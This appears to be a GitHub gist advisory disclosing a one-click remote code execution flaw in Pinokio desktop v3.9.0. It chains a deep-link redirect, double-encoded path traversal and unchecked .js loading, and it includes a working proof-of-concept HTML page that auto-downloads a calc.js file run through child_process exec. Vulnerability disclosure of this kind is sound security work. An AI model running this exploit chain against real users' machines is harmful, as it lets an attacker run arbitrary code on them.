Skip to content

Instantly share code, notes, and snippets.

@Suuuuuzy
Last active July 27, 2025 08:08
Show Gist options
  • Select an option

  • Save Suuuuuzy/609c7b2e74a8cc16c8e0302a100b86e0 to your computer and use it in GitHub Desktop.

Select an option

Save Suuuuuzy/609c7b2e74a8cc16c8e0302a100b86e0 to your computer and use it in GitHub Desktop.
RCE found in Pinokio desktop

Summary

We discovered a one-click remote code execution vulnerability in the latest version (v3.9.0) of the Pinokio desktop. An attacker can exploit this vulnerability by embedding a specially crafted pinokio: URL on any website. When a victim visits such a site, the browser triggers a prompt to open the Pinokio app, along with an auto-downloadng of a js file. If the victim confirms opening Pinokio, Pinokio will launch and process the URL, leading to remote code execution on the victim’s machine.

Affected versions

<= v3.9.0 (up to date)

Details

Pinokio desktop is an Electron app that supports installation, running, and managing server application locally. It starts a local server while running.

There are three problems in Pinokio desktop:

  • Internal redirection
  • Path traversal
  • Arbitrary code execution

By combining these problems, an attacker can achieve remote code execution. This attack can be triggered when a user confirms the app from an attacker-controlled custom scheme URL, such as:

Screenshot 2025-03-09 at 9 09 03 PM

See POC video.

Or visit POC link for poc if you have Pinokio dekstop installed. Note that visiting this link would auto download a js file. If you confirm opening Pinokio upon prompt, you would see a calculator popping up.

Next, we use a POC custom URL to show the whole process and the intermediate results.

pinokio://?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js

0. Custom URL

Pinokio supports custom URL, or deep link, as specified by Electron, meaning that users can open Pinokio by opening URL starting with pinokio:// in the browser.

Upon opening, Pinokio processes the custom URL as follows:

    app.on('open-url', (event, url) => {
      let u = url.replace(/pinokio:[\/]+/, "")
  //    let u = new URL(url).search
  //    console.log("u", u)
      loadNewWindow(`${root_url}/pinokio/${u}`, PORT)

//      if (BrowserWindow.getAllWindows().length === 0 || !mainWindow) createWindow(PORT)
//      const topWindow = BrowserWindow.getFocusedWindow();
//      console.log("top window", topWindow)
//      //mainWindow.focus()
//      //mainWindow.loadURL(`${root_url}/pinokio/${u}`)
//      topWindow.focus()
//      topWindow.loadURL(`${root_url}/pinokio/${u}`)
    })

https://github.com/pinokiocomputer/pinokio/blob/92c9924c5f1a6a7e0f8182c680f37a5f5419ad3f/main.js#L616-L629

With the above code, Pinokio allows sending requests to Pinokio server with Custom URL, but the requests are limited to route /pinokio.

Now, Pinokio sends a request to:

http://localhost:42000/pinokio/?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js

1. Internal redirection

However, during the processing of /pinokio requests, Pinokio performs an internal redirection, allowing requests to other routes besides /pinokio. The code is as follows:

this.app.get("/pinokio", ex((req, res) => {
      // parse the uri & path
      let {uri, ...query} = req.query
      let querystring = new URLSearchParams(query).toString()
      let webpath = this.kernel.api.webPath(req.query.uri)
      if (querystring && querystring.length > 0) {
        webpath = webpath + "?" + querystring
      }
      res.redirect(webpath)
    }))

https://github.com/pinokiocomputer/pinokiod/blob/8c545b3a85f737b72425b03fa45c9e0c4cbb0161/server/index.js#L3165C5-L3174C8

The attacker could control the redirect URL webpath by setting uri to a designated value in the query. For example:

pinokio://?uri=~/_api/xxxx, to redirect to /_api requests.

Note that ~/ is necessary to pass the webpath parsing, as shown below:

  webPath(uri) {
    let modpath
    if (uri.startsWith("http")) {
      // git url
      // test to see if any of the gitPaths match partially
      modpath = this.resolveWebPath(uri)
    } else if (uri.startsWith("~/")) {
      // absolute path
      modpath = `/${uri.slice(2)}`
    } else {
      throw new Error("uri must be either an http uri or start with ~/")
    }
    return modpath
  }

https://github.com/pinokiocomputer/pinokiod/blob/8c545b3a85f737b72425b03fa45c9e0c4cbb0161/kernel/api/index.js#L368-L381

Now the Pinokio window is redirected to:

/_api/%2E%2E%2F%2E%2E%2FDownloads/calc.js, meaning Pinokio desktop sends a request to: http://localhost:42000/_api/%2E%2E%2F%2E%2E%2FDownloads/calc.js.

2. Path traversal

After this, during a path resolving, a path traversal happens at:

path(...args) {
    return path.resolve(this.homedir, ...args)
}

https://github.com/pinokiocomputer/pinokiod/blob/8c545b3a85f737b72425b03fa45c9e0c4cbb0161/kernel/index.js#L164-L166

At this point, this.homedir is '/Users/YOURNAME/pinokio' and args is ['api', '..', '..', 'Downloads', 'calc.js'].

The path is resolved to: '/Users/YOURNAME/Downloads/calc.js', which can be controlled with an auto downloading.

3. Arbitrary code execution

Finally, there is arbitrary code execution for files ending with .js without verification.

   if (filepath.endsWith(".js")) {
        try {
          js = (await this.kernel.loader.load(filepath)).resolved
          mod = true
        } catch (e) {
          console.log("######### load error", filepath, e)
        }
      }

https://github.com/pinokiocomputer/pinokiod/blob/8c545b3a85f737b72425b03fa45c9e0c4cbb0161/server/index.js#L645-L652

Executing the attacker-controlled js file then lead to RCE.

PoC

We depoly the POC web page at here: https://suuuuuzy.github.io/mostly-harmless/pinokio_poc/index.html.

When you have Pinokio installed, visit the website and confirm opening Pinokio, you would see a calculator popping up (for mac).

The code of https://suuuuuzy.github.io/mostly-harmless/pinokio_poc/index.html:

<!DOCTYPE html>
<html>
    <body>
        <a id="downloadLink" href="calc.js" download></a >

        <script>
            // Automatically click the download link when the page loads
            window.onload = function() {
                var dd = document.getElementById("downloadLink");
                dd.click();
                document.body.removeChild(dd);
            };
        </script>
            <iframe src="pinokio://?uri=~/_api/%252E%252E%252F%252E%252E%252FDownloads/calc.js">
    </body>
</html>

The code of calc.js:

// clac.js
const { exec } = require('child_process');

// Path to the Calculator app
const calculatorPath = '/System/Applications/Calculator.app/Contents/MacOS/Calculator';

// Open the Calculator app
exec(`open -a "${calculatorPath}"`, (error, stdout, stderr) => {
    if (error) {
        console.error(`Error: ${error.message}`);
        return;
    }
    if (stderr) {
        console.error(`Stderr: ${stderr}`);
        return;
    }
    console.log(`Calculator opened successfully!`);
});

This is just for POC purpose, so the only result is that a calc.js file downloaded and the calculator popping up. In real-world, this could lead do more severe results.

Patches

1. Avoid path traversal

2. Avoid executing unknown files

Impact

This vulnerability causes remote code execution, impacting the most up to date Pinokio Desktop (v3.9.0).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment